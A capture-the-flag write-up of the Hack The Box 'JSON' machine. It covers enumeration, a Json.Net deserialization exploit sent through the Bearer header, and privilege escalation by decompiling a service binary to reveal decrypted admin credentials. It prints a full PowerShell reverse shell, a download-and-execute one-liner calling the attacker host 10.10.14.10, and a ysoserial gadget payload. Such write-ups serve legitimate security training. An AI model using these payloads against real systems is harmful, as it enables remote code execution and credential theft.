Home JSON
Post
Cancel
image alternative text

JSON

Doctor is a medium Windows box. It’s all about Deserialization and Reversing

ENUMERATION

NMAP

Let’s start NMAP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Nmap scan report for 10.10.10.158
Host is up (0.038s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn?
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.91%I=7%D=2/2%Time=60192B10%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,5,"\x83\0\0\x01\x8f");
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
| nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:9a:4e (VMware)
| Names:
|   JSON<00>             Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  JSON<20>             Flags: <unique><active>
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-02T14:36:58
|_  start_date: 2021-02-01T23:13:44

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any

Intersting ports are 21 ,80 and SMB on 139+445. There was nothing found using ftp anonymous login or checking SMB with SMBMAP/SMBCLIENT so let’s concentrate on WebServer. (i always run nikto -h and gobuster dir commands, but if nothing special was found i don’t paste that in here.)

WebServer (Manual enum)

Page loads very slow but in the end it redirects us to login:

Credentials admin:admin work (placeholder is misleading ;-) )

Two things happen then. If you pay attention to requests being issued, one of them will be sent to /api/Account. Otherwise lets call gobuster for the rescue (either search in folders or recursive)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
		luka@kali:~$ gobuster dir -u http://10.10.10.158/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
		-t 50 -k
		===============================================================
		Gobuster v3.0.1
		by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
		===============================================================
		[+] Url:            http://10.10.10.158/api/
		[+] Threads:        50
		[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
		[+] Status codes:   200,204,301,302,307,401,403
		[+] User Agent:     gobuster/3.0.1
		[+] Timeout:        10s
		===============================================================
		2021/02/02 11:34:17 Starting gobuster
		===============================================================
		/account (Status: 401)
		/Account (Status: 401)

Checking request to /api/Account shows that there are two identical headers being sent which is weird. Bearer header is pretty much the same but it seems more specific to DotNet i assume: https://swagger.io/docs/specification/authentication/bearer-authentication/

EXPLOITATION

JSON Deserialization

If we modify the Bearer header (i did decode from b64, add {} and encode again to b64) we should get an error.

Error stats that it cannot deserialize Json.Net - so there we have it. We are dealing with serialization and DotNet

From here on i switched to my Windows VM from kali. Following will be used as payload (encoded to b64 with Windows). It is just download reverse shell to memory and execute - nothing wild.

1
		[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("iex(New-Object Net.Webclient).DownloadString('http://10.10.14.10/rev.ps1');rev.ps1;"))

This is reverse shell that will be used:

1
2
luka@kali:~/htb/json$ cat rev.ps1 
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.10",4455);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Output will be put in the ysoserial.exe with ObjectDataProvider gadget.

1
2
PS C:\tools_old\ysoserial\Release> .\ysoserial.exe -g ObjectDataProvider -f json.net -c "powershell -ep bypass -encoded aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAMAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYALgBwAHMAMQA7AA==" -o base64
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBvd2Vyc2hlbGwgLWVwIGJ5cGFzcyAtZW5jb2RlZCBhUUJsQUhnQUtBQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUFwQUM0QVJBQnZBSGNBYmdCc0FHOEFZUUJrQUZNQWRBQnlBR2tBYmdCbkFDZ0FKd0JvQUhRQWRBQndBRG9BTHdBdkFERUFNQUF1QURFQU1BQXVBREVBTkFBdUFERUFNQUF2QUhJQVpRQjJBQzRBY0FCekFERUFKd0FwQURzQWNnQmxBSFlBTGdCd0FITUFNUUE3QUE9PSddDQogICAgfSwNCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9DQp9

Before swapping that in Bearer header and sending the request start the nc listener.

1
2
3
luka@kali:~/htb/json$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [02/Feb/2021 13:07:52] "GET /rev.ps1 HTTP/1.1" 200 -

Shell was popped or it should pop if YOU are following the steps.

PRIVILEGE ESCALATION

Reversing / debugging

In Program Files there is Sync2Ftp which can be downloaded in order to debug it

Config file is not readable.

Checking the file in dnspy there is a class that encrypt and decrypt input from that config file. I opened the Program class and just modified it to open window box with username and password before ServiceBase will be run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
		using System;
		using System.ServiceProcess;
		using System.Windows.Forms;
		using System.Configuration;
		
		namespace SyncLocation
		{
		        // Token: 0x02000005 RID: 5
		        internal static partial class Program
		        {
		                // Token: 0x0600000F RID: 15
		                private static void Main()
		                {
		                        string path = ConfigurationManager.AppSettings["destinationFolder"];
		                        string text = ConfigurationManager.AppSettings["sourcefolder"];
		                        string cipherString3 = ConfigurationManager.AppSettings["user"];
		                        string cipherString2 = ConfigurationManager.AppSettings["password"];
		                        string userName = Crypto.Decrypt(cipherString3, true);
		                        string password = Crypto.Decrypt(cipherString2, true);
		                        MessageBox.Show(userName + " " + password);
		                        ServiceBase.Run(new ServiceBase[]
		                        {
		                                new Service1()
		                        });
		                }
		        }
		}

Username supername and password:

Superadmin belongs to administrators group so there we have it!

This post is licensed under CC BY 4.0 by the author.